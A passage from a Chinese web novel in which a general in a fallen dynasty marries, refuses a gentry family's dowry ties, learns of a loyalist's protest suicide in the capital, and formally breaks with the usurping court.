杜言打断他:“你今天闯到我这来,就是想告诉我,你不想娶孙家小姐,对不对?好,我知道了。你可以出去了。本来也没打算让你娶。” 周牧抬头:“那让谁娶?不会是卫捷吧?卫捷可不行!那家伙油嘴滑舌,没几句真话,他还……他还……”他脸憋得发红,“还去那种地方。” 杜言慢悠悠道:“但我看他模样周正,和孙小姐站一块,倒也般配。” “这……这怎么能般配。”周牧急了,“孙小姐是个没心机的好姑娘。卫捷那种人,他配不上。” 杜言“哦”了一声,愁道:“那你觉得谁合适?” 周牧皱着眉,脑子里把相熟的同僚过了一遍,这个太鲁莽,那个家里太复杂,另一个性子又太闷……想来想去,竟觉得没一个完全合适的。 看他半天说不出话,杜言又开口了:“若是将军身边的亲兵你瞧着都不合适,那只能再往下找找了。可普通军士,多是没读过什么书的粗人,年纪也参差不齐。实在不行,就再往下找找,新兵里头有不少年纪相当,模样也过得去的……” 周牧急坏了:“孙小姐的家世品貌,怎么可以一直往下找。” 杜言不耐烦道:“是你跑进来说不要娶人家的。现在我问你谁合适,你又说不出来。我给她往下找,你又这不行那不行。那你到底想怎么样?难不成你想让孙小姐嫁不出去?” “我……”周牧被怼得一个字也说不出来。 杜言道:“左挑右拣都没个能入你眼的,这亲事要是黄了,耽误了军费大事,责任可得你来担着。到时候,你不娶也得娶。” 周牧一瞪眼,脱口道:“我娶就我娶,有什么大不了的。我就是看不惯你……杜先生,你虽然聪明,但是婚姻大事不能这么随便的,不是一男一女就能在一起。” 杜言从善如流:“确实,男女之事我是不太懂。那你看,我这么回孙公行不行?我就说,将军身边,论样貌能力,可堪匹配孙小姐的,也就只有你周牧了,且看孙公乐不乐意。你觉得呢?” 周牧挠了挠头,说:“……那也行。” 他想起什么,又赶紧补道:“也要问问珠珠乐不乐意。” 杜言微怔,而后点头道:“那自然要问。” 周牧顿了顿,感觉还有话说。 杜言疑惑地看向他。 周牧道:“……那我先走了。” 杜言看着他离开,提笔,笑了一下,自言自语道:“臭小子。” 话音刚落,门又被推开。周牧去而复返,站在门口,眉头拧得紧紧的,一脸想不通的样子。 杜言抬头:“还有事?” 周牧站在那儿,嘴唇动了动,憋了半天,最后只闷闷地说了句:“……没事了。” 然后,他再次转身,带上门走了。 脚步声在廊下响了几声,停住,又迟疑地响了几声,才渐渐远去。 杜言淡笑摇头,重新提笔,心思却已不在文书上了。 周牧这事,算是定了,结果甚合他意。 当然不止是为那一成军费,最重要的是,孙家这个口子一开,意味着燕家军与本地士绅之间,终于有了一条稳固的纽带。 对方有钱、有名望、有盘根错节的地方关系,他们有兵、有实际的掌控力。 这才是强强联合,是稳住局面的关键一步,有了这第一步,接下来的许多事,就好办多了。 他在脑子里将这几日见过的人又过了一遍,很快,两个名字浮现出来。 他重新蘸了墨,嘴角那丝淡笑并未散去,或许该安排下一次“茶会”了。 为周牧与孙兰初的事,杜言私下又与孙佑安碰了一面,将细节基本谈妥。 事毕,杜言将结果禀报给燕钊。 末了,他补充道:“孙公还提了一事。他说珠珠与苗姑娘情分甚好,他有意收苗姑娘为义女,与珠珠姐妹相称,将来亦会为她备齐全副嫁妆,从孙府出嫁。” 燕钊听罢,笑了一下,道:“替我谢过孙公美意。此事不必了。” 杜言并不意外,上前一步,陈述利弊:“有孙府做娘家,苗姑娘面上有光,将来在内宅女眷中走动,身份人脉都大有裨益。况且,那嫁妆也是给苗姑娘的一份傍身的保障。于公于私,都无坏处。” 燕钊道:“她孑然一身从长安来到衡州,无依无靠,如今也过得挺好,不需要孙府给的风光和保障。说实话,我有时觉得,她连我都不太需要。” 杜言默然。 这确实是实话,苗悦身上有种扎根于土地的蓬勃坚韧的生命力,不必依附于任何人。 燕钊话锋一转:“杜先生,你我都很清楚,孙公此举,绝非为两个女儿家的情分。他是想让苗悦承他这份情,与我多一层牵扯。” 杜言点头:“孙公自有他的盘算,可这对苗姑娘而言,也没有坏处啊。对女子来说,娘家是底气。” 燕钊语气平静:“娘家是底气,是为女儿撑腰的,但孙府不是。孙府做了她名义上的娘家,将来我与她真起了什么争执,孙府断不会站在她那边。可一旦认下这门亲,日后孙家有难处求上门,她帮还是不帮?以我对她的了解,她若在我这里受了委屈,绝不会找孙公哭诉。可孙公出了嫁妆,将来有事需要她,必会寻来。依我看,这不是保障,是拖累。” 杜言沉吟片刻,道:“此事是否要问问苗姑娘自己的意思?毕竟,十里红妆,是女子一生的念想。” 燕钊闻言,露出一个明朗的笑,有点少年人的意气:“那就把我的钱都给她,让她带来做嫁妆。” 杜言失笑,摇头叹道:“弩军耗费庞大,库银如流水。莫说你的私库,就算搬空整个将军府,只怕也凑不出孙家口中那份嫁妆。” 燕钊朗声一笑,浑不在意:“那正好,我既没多少钱,又怎好意思要她的嫁妆。杜先生,你算盘打得精,可别算到我这来。” 杜言连连叹气,不无遗憾:“孙公可说了,会为苗姑娘备上丰厚嫁妆。” 他在“丰厚”两字上咬了重音。 燕钊敛了笑,看向杜言:“这丰厚的嫁妆又岂会真的落到她手中,不过是孙府借她向我示好的筹码,人情却要她担着。” 杜言道:“将军既与苗姑娘成婚,就是一家人,人情自然是共担的。” 燕钊沉声:“我知道孙公是什么意思,也知道你打的什么算盘。但是,你这算盘,不要打到她头上。以她的聪慧,我若将此事说与她听,她必能想到背后的因果。难不成,尚未成婚,我就要借她的名头敛财了?” 杜言还想再辩,燕钊打断他:“对我来说,她本身就是最丰厚的嫁妆。杜先生,你要明白,这桩婚事是我费尽心机算计来的,不是她离不开我,是我离不开她。”—— 作者有话说:周牧:懂了,我是可以被算计的 杜言:我若不出手,你们这些臭小子要打一辈子光棍《 》 第 101 章【VIP】 第101章 婚事定在了秋末冬初的一个吉日。 燕钊本意是一切从简。杜言却坚持要按嫁娶的最高规格来办, 且声势越大越好。 皆因张邠阳已率大军前往长安了。 “这个时候,衡州,以及燕家军辖下数州, 人心不能乱。您的大婚,就是最好的定心丸。要让所有人看到, 无论长安如何, 只要将军坐镇衡州, 一切就安稳如常。” 燕钊看着地图上长安的位置, 点了头。 苗悦这边也准备起来。 邻居们得知这温和勤快的姑娘要出嫁了, 纷纷过来贺喜, 又知她家中只有姐弟二人, 没有家族长辈帮衬,都觉着不容易,便也热心起来。 这个婶子教她剪喜字, 那个嫂子提醒她该备哪些东西, 老房东也乐呵呵地封了个小红封。 这天, 苗悦在王婶子的指点下绣盖头。 她深知自己绣得东西绝对用不上,但闲来无事, 也不想驳了好心人面子,乐得学两下, 就是针脚走得歪歪扭扭。 王婶子看不过去,拿过来指点,正说着“这里要这样回针”,院门被推开了。 孙兰初带着几个家仆走进来,抬了两个沉甸甸的大箱子。 “苗姐姐,我来给你添妆啦!” 王婶子停了手里的针线,好奇地凑过去, 等打开箱盖时,她的眼睛立刻直了,嘴微微张开。 箱子里,珠光宝气几乎要溢出来。 赤金嵌红宝牡丹缠枝头面,做工繁复华丽,宝石颗颗饱满,是正室夫人重大场合才能压得住的款式。还有点翠嵌珍珠百鸟头面,翠色欲滴,珍珠圆润。另外配套的镯、佩、禁步等,林林总总,价值不菲。旁边还散放着成对的镯子、玉佩、璎珞项圈,样样都闪着明晃晃的光。 苗悦只看了一眼,心里就全明白了。 这分量,早已超过了“闺蜜添妆”的范畴,必是孙公出手了。 她如今一无所有,这两箱东西她若是收了,到头来,还不是要燕钊去还,她自己落个两头欠人情。 她好不容易硬了脊梁从长安出来,千辛万苦在衡州扎下脚,没必要因为嫁给燕钊,就扯上这样的人情官司。 孙兰初沉浸在兴奋里:“苗姐姐,你快试试这个,这个好看,还有这个镯子……” 王婶子在一旁看得眼热,连声附和:“哎哟,这可真是……开了眼了,苗姑娘好福气。” 苗悦弯腰,跟着挑选,最后拿起一个小的锦盒,里面是一套素银嵌着碧玉的兰草头面。 她将那锦盒拿在手里,拉着孙兰初进屋坐下。 “珠珠,这些东西都非常好。你真是用心了。但是我不能收。” 孙兰初嘴巴撅了起来:“为什么呀?” 苗悦拍了拍她手背:“你来为我添妆,说明咱们是顶要好的姐妹。那将来你出嫁的时候,我肯定也要去为你添妆的,对不对?” 孙兰初点头:“那当然。” “可是你看我。”苗悦摊开手,示意了一下自己这朴素的房子,“我什么都没有。今日若收了你这么贵重的两箱子礼物,来日你出阁,我哪里拿得出对等的东西去给你添妆呢?” 孙兰初被她说得一愣,眉头还是蹙着。 “珠珠,你来为我添妆,是吉利事,我肯定要收下一些的。”她示意手中小锦盒,“这套兰草头面,我看着很喜欢,你就把它送给我,可好?将来你成婚时,我也送你一套差不多的。只要到时候,你别嫌我寒酸就行。” 孙兰初觉得苗悦说得有道理,又见她收了礼,立刻开心起来。 “我怎么会嫌弃。”她露出笑容,“那……那这两箱,我就让人先抬回去了?” “嗯,抬回去吧。”苗悦点头。 孙兰初便挥手让家仆们合上箱盖,将两个大箱子又抬了出去。 她挨着苗悦坐下,托着腮,忽然小声说:“苗姐姐,看你结婚,这么热闹开心……我也有点想成婚了。” 王婶子“噗嗤”一声笑出来,打趣道:“哎哟,这话也是姑娘家能说的。” 孙兰初红透了脸,羞得跳起来:“我先回去了。” 婚事按着杜言的意思大操大办起来。 请柬发往周边各州县,无论文官武将,都收到了观礼的邀约,派了有头有脸的人物前来,将军府的门槛几乎踏平。 府内府外,张灯结彩,流水席一直摆出两条街,只要是诚心道贺的百姓,皆可入席。 整个衡州城,提前好几日便浸在了这场盛大婚事的喜庆与议论里。 苗悦是从她租住的那个小院出嫁的。 大婚那日,天还未亮透,左邻右舍便都起来帮着洒扫门庭,将那不大的小院收拾得干干净净,门楣窗棂都贴上了大红的“囍”字。 吉时将至,远处传来清晰的鼓乐声。 迎亲的队伍沿着河畔的青石路行来,旌旗招展,鼓乐喧天。 燕钊骑在马上,一身簇新的绯红礼服,衬得他眉目愈发英挺。 他面上带着笑,目光扫过道路两旁挤得水泄不通的百姓,不时微微颔首。 有胆大的孩童在人群里跳着喊“新郎官”,他便循声望去,眼里的笑意更深了些。 队伍停在了那条窄巷口。 “是燕将军!燕将军!”人群轰然炸开。 老房东脸上的皱纹全都舒展开,笑得合不拢嘴,逢人便说:“我早就瞧出苗姑娘不是一般人,住我的院子,那是我的福分,是我的福分啊。” 几个帮忙操持过婚事的婶子,更是成了众人瞩目的中心,你一言我一语,声音都拔高了几分。 “苗姑娘人顶和善,顶漂亮。你们是没瞧见,她把那小院收拾得可齐整。” “性格好,平日里见了谁都是笑眯眯的,有礼数得很,还常帮我提水呢。” “这姑娘一来我就觉得不寻常。姐弟俩从长安那么远过来,多难啊,你看人家,不声不响就把日子过起来了,还嫁得这样好。” 那牙人也挤在人群里,跟着感慨:“我可是最清楚的,苗姑娘刚来那会儿,手上银钱不宽裕,才租了咱们这偏地方。真真是从长安一步步走过来的,能吃苦,不容易啊。” 这话引得周围一片唏嘘赞叹。 不知是谁,在人群里低声提了一句:“比起从前那位死活不肯下嫁的昭宁公主……” 这话没说完,但意思大家都懂了。 从逃难孤女到将军夫人,实实在在的佳话,众人心里那杆秤,自然而然就偏了,而且偏得理 直气壮。 “要我说,还是咱们将军有眼光。” “娶妻娶贤,就得娶这样的。” “可不是么,还得是咱老百姓自己家的闺女。” “咱们将军也是苦出身,自是能明白咱们想过什么样的日子。” “大家跟着燕将军,准没错。” 各种讨论热热闹闹地混在一处。 若是细品,便能发现其中夹杂着刻意引导的声音,那是杜言早就安排下的人,混在百姓中,将话题引向对燕钊的认同,对婚事的赞许。 繁琐而热闹的仪式持续到夜色深沉。 礼成后,苗悦被引入新房。 引她进来的嬷嬷低声道:“夫人,将军特意吩咐了,让您不必拘着礼。桌上备了吃食,您若是饿了渴了,尽管用些。将军说,前头宾客多,怕是要闹到很晚,让您乏了就先歇下,不必等他。” 苗悦应了句:“有劳嬷嬷。” “夫人言重了,都是应当的。”嬷嬷又行了个礼,悄声退了出去。 苗悦自己抬手,将盖头掀开放到一边,揉了揉被凤冠压得发酸的脖颈。 她走到桌边坐下,就着温水,吃了两块点心,又小口啜了半盏甜酒。胃里有了东西,身上也暖和了些。 她没打算自己先睡,只是坐着也有些无聊,便去看堆放在墙角的箱笼。 这些都是燕钊提前送来的,说是给她添的妆,她之前一直没打开细看。 几匣金银,几套成色不错的首饰头面,颜色鲜亮的料子,还有些日常用得上的摆设器皿。 她一样样拿出来看看,又放回去,打发时间。 时间一点点过去,外头的声响渐渐低下去。 燕钊过来时,苗悦正靠着床柱小憩,听到下人问安声,赶紧坐直身体,手忙脚乱地抓过红盖头,重新盖上,又将衣襟裙摆匆匆理了理。 门被轻轻推开,又合上。 脚步声朝床边走来,停在她面前。 苗悦屏着呼吸,坐得笔直。 静了片刻,她听到一声很轻的低笑。接着,眼前一亮,盖头被轻轻挑开了。 她抬起眼。 燕钊拿着缠了红绸的秤杆,正看着她,烛光在他眼底跳动,嘴角是压不住的笑意。 苗悦脸上有些热,忍不住也笑起来。 燕钊将秤杆放到一边,在她身旁坐下,拉过她的手,握在掌心里。 “累不累?要不要再吃点东西?” 他脸颊有些红,呼吸间带着明显的酒气。 苗悦凑近了些,轻轻嗅了嗅,问:“你喝了多少?” “没喝多少。”燕钊垂眸。 “骗人。”苗悦笑。 “真没喝多少。”燕钊抬手抚上她的脸颊,拇指在她眼角蹭了蹭。 正要低头俯来,忽然传来叩门声。 “将军,有份贺礼,请将军过目。” 若非极其要紧,亲兵绝不会在此时敲门。 燕钊眼神微凝,在苗悦肩上轻轻按了一下,起身去开门。 门开了一线,苗悦侧头去看,有个人影站在廊下,低声快速说了几句。 燕钊眉头蹙起,问:“去追了没有?” “追了。”那人摇头,“没追上。门房是这两年新来的,不认得六将军。等消息传到我这,人估计已经出城了。” 燕钊沉默一瞬,从他手中接过一个巴掌大的旧锦盒。 “知道了。” 他合上门,转身走回床边。 苗悦已坐直身子,方才的旖旎气氛散了大半。 她看着他手中的锦盒,问:“是燕无咎?” 燕钊点点头,在她身边坐下,当着她面,打开了锦盒。 盒里没有绸缎衬垫,只分了两格。 一边是几个小布袋,袋口用细绳扎着,每个袋子上都系着一小片纸,纸上用炭笔写着字。 “莼菜”“菱角”“芡实”“茭白”,都是水生作物。另外几个袋子则装着“薄荷”“荆芥”“紫苏”这类药食两用的种子。 而另一边,孤零零躺着一枚扳指。 扳指是墨玉质地,颜色沉黯,边缘被摩挲得极为光滑。 苗悦看着那扳指,只觉得有些眼熟,恍惚记起,似乎曾在燕九畴手上见过。 燕钊拿起扳指。 “这是燕家军统帅的信物。”他开口,声音有些沉,“大帅去时,二哥已经……不清醒了。无咎又不愿接掌燕家军,执意要走。我便让他将这扳指带走,什么时候他想回来,燕家军还是他的。” 苗悦摸着那几个小布袋:“这些种子,应该是他在各处行走时收集的。他用心了呀。” 燕钊苦笑一下,摇了摇头。 “看来,无咎是当真……不想再认我们了。” 苗悦看向燕钊的侧脸,轻声道:“他把扳指送给你,说明他认可了你这些年所为。他觉得,你能担得起燕家军统帅,这才真正放手。你以后千万不要让他失望。” 燕钊握着扳指的手,微微收紧。 他没有说话,就着烛光,又看了那扳指许久,才将其连同那些布袋,一并收回锦盒,放在床边的矮几上。 烛火跳动了一下,在他脸上晃过暖色的光晕。 他转回身,目光落在苗悦身上。 凤冠还在她发间,珠翠沉甸甸的。他抬手,指尖碰到那冰冷的金玉,动作有些迟疑,但很快便找到了固定的钗环。 苗悦微微低了头。 发钗被一根根取下,堆在盘中。 大红的喜袍搭上了椅背,一件接一件。 手指穿过长发,擦过皮肤。战栗便从那一点蔓延开,顺着脊骨往下滑。 夜色浓稠,烛火静静地燃着,将晃动的身影投在墙上。 空气变得黏腻,缓慢地流动,温度从相贴的地方升起来,分不清是谁暖了谁。 世界收束成方寸之间,湿润,滚烫,紧绷后又倏然松开—— 作者有话说:下本大概率开《越界的困兽》,分离十年后重逢的伪姐弟。 小概率开《被迫成为忠犬的少年魔君》,性格暴躁武力顶级的少年魔君,错抢系统后受制于人。这本预收太少啦,攒攒才敢开。《 》 第 102 章【VIP】 第102章 转眼到了深冬, 寒风凛冽。 张邠阳整合了麾下精锐,在渭水以北的平原上,与流窜肆虐的牛焘主力展开决战。 牛焘所部终被击溃, 残部向西北溃散,被彻底逐出了京畿之地。 尘埃落定后, 张邠阳并未停驻, 径直率军开赴长安。 大军兵临城下, 长安城门洞开。 入城后, 他一面接受皇帝于偏殿给予的不痛不痒的口头褒奖, 一面以“清君侧”为名, 派亲兵接管了皇城各处宫门与要道。 不出三日, 便将专权祸国的太监头子董全忠及其核心党羽,悉数下狱,以雷霆手段处决。 董全忠虽死, 他手中那足以号令百官的权柄, 却并未交还给年轻皇帝, 而是落入了兵强马壮的张邠阳手里。 诏令的发出,需要经过他的默许, 朝臣的奏对,也要看他的脸色。 襄王率先上表劝进, 一众文武或主动或被迫附议,众望所归之下,局面已无可挽回。 春节前夕,在一个“瑞雪兆丰年”的吉日,盖着皇帝玉玺的禅位诏书颁行天下,宣布将皇位禅让于大将军张邠阳。 受禅大典的清晨,鹅毛般的雪片密密匝匝地落下来, 将朱红的宫墙、青灰的御道、鳞次栉比的屋瓦,都覆上了一层刺眼的白。 皇宫正门外,御道中央。 百官的马车与轿辇,已在承天门外排成长列,等待着宫门开启,进入那即将改天换地的大殿。 雪落在官帽、轿顶和肃立的兵士铁甲上,无人喧哗,沉默弥漫。 就在这时,御道中央,雪幕深处,慢慢走来一个人。 他走得很慢,一步一陷,在平整的雪地上留下一行孤零零的脚印。 没有打伞,雪花落满他披散的黑发与肩头。 他身上穿的是一身粗糙的白色孝衣,宽大单薄,在寒风中瑟瑟拂动。 他赤着双脚,已冻得青紫,却似毫无所觉。 他就这样,一步一步,走到那象征着皇权的承天门,缓缓跪了下去。 新雪立刻濡湿了他的麻衣。 他挺直脊背,从怀中取出一卷奏疏,双手高举过顶。 整个过程,安静得只有风雪呜咽。 有人从车帘缝隙中窥探,有人交换着惊疑不定的眼神,像毒蛇一样的私语声在队列中蔓延开。 “是……李少卿?” “他怎敢如此打扮……” “捧的什么……” “疯了……这是寻死……” 禁军的兵士手按刀柄,围了上来,却在数步之外停住,无人上前拉扯。 所有人都认得,那是襄王第四子,是曾深入北地力请张邠阳出兵的太常少卿李晏。 “罪臣李晏,今日于此,有本奏于皇天后土,告于列祖列宗之灵!” 他的声音悲怆而清晰。 “臣,李晏,无能之辈,短视之徒!昔年牛焘祸乱京畿,天子蒙尘,社稷倾危。臣不察豺狼之心,轻信张邠阳忠义之言,力主其出兵平叛。此乃臣第一大罪,是臣亲手打开城门,引此巨奸入室,致使神器动摇,江山易色。臣,罪该万死!” 他重重地磕头,复又直起背脊。 “臣之父,襄王李和,受国厚恩,位列亲王。当此国难之际,不思效法古之忠烈,力挽狂澜,反为苟全性命,觊觎从龙之功,首倡逆谋,胁逼天子,为奸贼张目!尔等为李氏之罪人,天下之悖逆,有何面目见先帝于地下!臣有如此不忠不义、卖国求荣之父,此乃臣第二大罪!臣无颜立于天地之间!” 他重重地磕头,额上已是一片乌青,沾染了地上冰冷的雪泥。 “而今天子……” 他猛地抬起头,直视着那紧闭的宫门,声音转为悲痛与愤慨。 “您受命于天,统御四海,当为天下臣民之表率!然则,您先受制于阉宦董全忠,使其祸乱朝纲,忠良尽退。后惧于强藩张邠阳之兵威,竟不思据守宗庙,宁死不屈,反将高祖太宗披荆斩棘得来,传承二百余载之江山,拱手让于逆贼!” “此非天命,实乃人祸!是陛下之懦弱畏死,愧对天下万民,更愧对列祖列宗!倘有一分血性,三尺白绫,一腔热血,亦可殉社稷,全名节,何至受此奇耻大辱,使我煌煌天朝,竟行此禅让篡夺之丑剧!” “今日之局,臣有罪,父有罪,君亦有失!乾坤颠倒,忠奸不分,礼乐崩坏至此,臣生有何益?” “臣之血,不足以洗刷国耻,臣之死,不足以唤醒愚顽。然,臣唯以此残躯,以此颈中热血,溅于此宫门之前,告慰先帝。” 李晏将手中奏疏奋力掷于地上,仰天长啸: “张邠阳!天下人皆可见,尔之皇位,始于阴谋,成于篡逆,必为万世所唾骂!” “这世上,尚有宁死不屈之臣!李氏江山,非是无人殉葬!” 话音刚落,不等周围禁军完全反应过来,他便以头跄地,猛然发力,用尽全身气力,向身旁矗立了上百年的汉白玉石狮,决绝撞去。 一声闷响,血光迸现,染红了洁白的狮身。 那个十二岁便能以诗文惊动公卿,被称作“长安玉郎”的襄王府四公子,最终未能以才华名留青史,却用这触目惊心的一撞,连同他所效忠的时代,一起在今日彻底死去了。 长安城的大雪仍在继续,千里之外的衡州,却是另一番景象。 最冷的日子已经过去,风里带了湿漉漉的暖意,阳光毫无遮拦地倾泻下来,晒得人筋骨酥软。 苗悦在院子里搭了个简易的棚子,覆上透光的明瓦,将燕无咎送来的种子试种下去。 她蹲在泥土边,小心地拨弄着几片嫩芽。 燕钊穿过庭院寻来时,远远便瞧见她半个身子都在那棚里,裙摆沾了泥也浑不在意。 旁边的丫鬟见将军来了颇是紧张。 “夫人非要亲自动手……” 燕钊摆手,表示无妨。 夫人向来喜欢侍弄花花草草,这些事于她非苦差而是乐子。 燕钊弯腰钻了进去:“在干什么?” 苗悦闻声抬头,脸上挂着泥:“你瞧,无咎送来的种子,我按着袋子上写的法子,又问了几个老农,试着种下去,还真都发了芽。” 燕钊顺着看去。 地上确实冒出了茸茸的绿意,有的纤细,有的肥厚。 “你看这个。”苗悦拨开一片叶子,露出底下更茁壮些的苗,“这是三七,能止血化瘀,是极好的金创药材料。”她又指向角落,“那个是改良过的稻种,说是耐涝,产量也高些。无咎不知从哪里寻来的,都是好东西,既好伺弄,又合这湿热的天气。开春正好能播下去一批试试。” 她站起身来,拍了拍手上的土,目光流连在那些绿意上,话头也顺着思绪转了开去:“如今涌来这么多流民,还有人源源不断地来,城里是断然安置不下的。城外倒有大片的荒地,空着也是空着。这些人里头,总有许多庄稼把式,与其让他们在城外干耗着,不如咱们牵头,将那些地分发下去,让他们先种起来。” 这番话条理清晰,绝非一时兴起。 她看到了人,看到了地,看到了种子,便看到了一条活路。 燕钊点了点头:“既然是你想出来的,那你就负责往下办吧,回头你挑些人手另组个班子。” “好。”苗悦应道,想起什么,转头打量燕钊,“大白天的,你怎么过来了?” 燕钊笑意敛去了。 他沉默片刻,再开口时,声音沉沉:“李晏……没了。” 苗悦怔在那里,过了好一会儿,才眨了眨眼:“怎么回事?” 燕钊牵过她沾着泥的手,引着她离开暖棚,回到内室。 他关上门,将刚刚得到的消息,转述给她。 苗悦听着,一直没说话,放在膝上的手,微微攥紧了裙。 燕钊说完,室内陷入寂静。 苗悦长长地吸了一口气,又缓缓吐出。 “他那个时候一定很绝望吧。”苗悦道,“当时在衡州城外分开的时候,我对他说了些绝情的话。其实他这个人,真的挺好的。我任务没完成,他还是把酬金给了我,只是我没好意思收。” 燕钊覆住她冰凉的手背,用力握了握。 “长安城里,怕是找不出第二个李晏了。” 苗悦问:“那现在长安那边,怎么样了?” 燕钊嘴角牵起一丝冷笑:“禅位大典如常举行,如今龙椅上坐着的已经是张邠阳了。” 苗悦回握住燕钊的手。 “记忆世界里,我三番五次劝你忠君,其实我心里,只是想要一个没有战火的和平的世界。忠君与否,到底对不对,我并不很在意。所以,你做决断的时候,不必考虑我从前说过的话,按你自己的想法去做。” 燕钊看进她眼眸深处:“我可以不考虑记忆世界里的话,但我一定会考虑你现在说的话。且不论我对李家江山到底有没有旧情,我也绝不可能认张邠阳这个‘君’。” 苗悦问:“那你准备怎么办?” “我还没想好。”他握着她的手紧了紧,“但我答应你,只要我统帅燕家军一日,就绝不主动发起战争。我会尽我所能,给你,也给这方百姓,一个能踏实睡觉安心吃饭的天下。你尽管放手去做你的事,让那些荒地变成良田,让这些种子长出粮食。” 苗悦弯唇,轻声说:“好。”《 》 第103章【全文终】 第103章 暖阳透过窗纸, 在书房内洒下金辉,却驱不散满室的沉郁。 杜言沉默许久后,深深地叹出一口气。 李晏的死, 于时局无补。张邠阳的皇位,不会因此有半分动摇。长安的衮衮诸公, 或许会唏嘘几日, 转头该做什么, 还做什么。 “真是个痴人。”他缓缓吐出几个字, “飞蛾扑火, 说的就是他这般。” 燕钊道:“聪明人太多了, 像他这样的痴人, 才难得。” 杜言道:“行事的方法有千万种 。李少卿选了最笨、最惨烈、也最没用的一种。我不会选,也绝不赞同您去学。” 燕钊道:“我曾说他不识时务,螳臂当车, 空有满腔意气, 做的都是无用功。站在他的位置, 这些话,当真是字字诛心。他那时心里该是何等滋味。我本想着, 若将来还有机会再见,我该敬他一杯酒, 道一声谢。” 杜言静静看着他,看到他流露出的……柔软。 “将军,您与李少卿,不过数面之缘,萍水之交。他的死,固然令人扼腕,可将军您似乎感怀过深了。” 燕钊皱眉:“杜先生, 您是不是也觉得我变了?搁在以前,听到李晏这般死法,我会赞他有种,叹他可惜,也就罢了。可现在我心里沉甸甸的。如今我一见流民饥寒,心中就会难过。听说士卒死伤,便会想起他们家中妻儿老母。” 他抬眼,看向杜言,说出了那个让他感到不安的判断:“杜先生,我觉得我变软弱了。这不是一个统帅该有的心性。离魂香终究对我产生了影响。” 杜言听着,严肃审慎的神情褪去,嘴角弯起,露出了欣慰的笑容。 “古有明训,慈不掌兵。一个攻城拔寨的将军,是该心如铁石,杀伐果决。”他话锋一转,目光变得深远,“可一个统帅万民安定天下的君主,却恰恰需要您所说的软弱。有了这份软,方能体察百姓疾苦,对生命存有敬畏。冷血无情可开疆,却难守成,更难聚人心。将军如今的软弱,或许正是苍生之福。” 杜言的话,意思已经再明白不过了。 其实,走到那一步的盘算,早已在两人心中推演过多次。缺的,无非是一个最合适的时机,以及以什么样的方式,用什么样的名义,走上那个位置。 燕钊道:“请先生细说。” “李少卿以死殉了旧朝。如今长安易主,张邠阳篡位。摆在我们面前的路,无非两条。”杜言缓道,“第一条,仍奉长安旧朝为正统,寻宗亲,以“肃正统”之名讨伐张邠阳。” 燕钊摇头道:“我已许诺,绝不主动发起战争,此路不必再言。况且经年征战,民生凋敝,我衡州乃至整个东南,刚刚站稳脚跟,百废待兴。此时劳师远征,胜算难料,更会耗尽我们好不容易攒下的家底,让大好局面毁于一旦。” 杜言点头,顺势道:“此时的确不宜出兵。衡州城高池深,易守难攻。张邠阳初登大位,内部未稳,首要目标是巩固关中,牛焘残部亦会牵制他精力。他轻易不会南下来啃我们这块硬骨头。” 他顿了顿:“然而,我们名义上仍是旧臣,可旧朝已亡于张邠阳之手。将军若直接称帝,便与张贼无异,同遭天下诟病。为今之计,当效法古之忠义,率文武百官面朝长安,告天地祖宗。非我等不愿为臣,实是君已不君,国已不国,我等痛心疾首,然为保境安民,不得不与之决别,自此君臣之义方绝。” 燕钊抬眼,眸光凌冽:“先生的意思是,先辞后立。” 杜言道:“正是。三跪九叩,送别旧朝。顺应民心,另立新朝。如此,既全了忠义之名,又得了自立之实。” 燕钊的手指在桌沿上轻顿,随即,他站了起来。 “便依先生所言,先辞后立。” 杜言露出笑容,整了整衣袖,对燕钊深深一揖,郑重道:“臣,定将此事办妥。” “还有一件事。”燕钊道。 “将军有何吩咐?” 燕钊道:“派一队得力的人去长安,将秦娘子接回来。那离魂香太厉害,断不能落到旁人手里。” 杜言神色一凛:“是臣疏忽了,臣这就去安排。” 李晏在宫门外殉国的消息,随着南下的商旅和信使,传遍了衡州城大街小巷。 起初是茶楼酒肆里的窃窃私语,很快便如投石入水,涟漪扩散至全城。 张邠阳篡位本就令人不齿,李晏这惨烈决绝的一死,更是刺痛了无数心怀旧朝、崇尚气节之人的心。 街头巷尾,常有士子扼腕叹息,更有老者提及襄王府四公子昔日才名,唏嘘落泪。 这情绪,在杜言有意无意的引导下,愈发清晰浓烈起来。 很快,连市井百姓也大抵知晓,长安城里出了位不惜一死也不向逆贼屈膝的“李少卿”。 就在这情绪酝酿到高点时,将军府传出了消息。 三日后,燕将军将率文武僚属、城中耆老乡绅,于西城外玉山上的开阔之地,设坛致祭,一为悼念在乱世中死难的将士百姓,二来为忠烈贯日的李少卿,送上一程。 兵士们奉命清出场地,伐木垒土,高大的祭坛很快矗立起来。坛上设香案,陈列素烛、白幡。没有过多华丽的装饰,一切以肃穆为准。 受邀的名单除了各级将官文臣,更有数十位在衡州乃至周边州郡颇具声望的老年士绅,以及从民间选出的年高德劭者。 到了那一日,天色微明,衡州城门缓缓洞开。 燕钊一身素色常服,未着甲胄,携夫人苗悦,步行而出。 苗悦亦是素净衣裙,发间只簪着一支素银兰草簪。 二人身后,是同样衣着陈素的一众文武。再之后,是神情肃穆的数十位耆老乡贤。更外围,则是自发跟随的军士与百姓。 众人于坛前空地按序站定。白幡猎猎作响。 燕钊登坛,苗悦随行于侧。二人面向长安方向,站定。 杜言手捧祭文,肃立其下。 烛火点燃,插入香炉,青烟袅袅升起。 杜言展开祭文,高声诵读。 祭文先追悼自灰衣之祸以来,死难的将士与百姓,盛赞李晏不惧奸逆,舍生取义,是乱世中最后的骨气。 不少人面露悲色,以袖拭泪。 随后,燕钊宣布,天子暗弱,奸贼窃国。旧朝纲常已绝,君臣大义已断。燕家军与衡州百姓,自此,与长安伪朝,恩断义绝。这不是背叛,而是天道使然。 说罢,他肃容,整衣,屈膝,跪倒在祭坛之上,额头触地,深深叩下。 一叩,二叩,三叩。每一次叩首都沉重清晰。 坛下众人见状,无论文武军民,亦齐齐跪倒,面北叩首。 一时间,玉山上下,悲声四起。 叩拜完毕,燕钊抬起手,指向苍穹,字字如铁:“皇天在上,后土在下,我燕钊在此立誓。此生绝不为一家一姓之私,但为天下安定,百姓安康。必扫平奸凶,再造太平,使耕者有其田,居者有其屋,幼有所养,老有所终。若有违此誓,天地共诛。” 他话音方落,几位声望最隆的耆老,相互搀扶着,颤巍巍走出人群,对着燕 钊跪下。 为首一位白发老翁,带着哭腔高喊:“奸贼窃国,神州陆沉!如今能保我东南一方安宁,救我万千黎庶于水火的,唯有将军您了!老朽等代表衡州父老,泣血恳请将军,顺天应人,为了这满城百姓,挑起这万钧重担吧!” 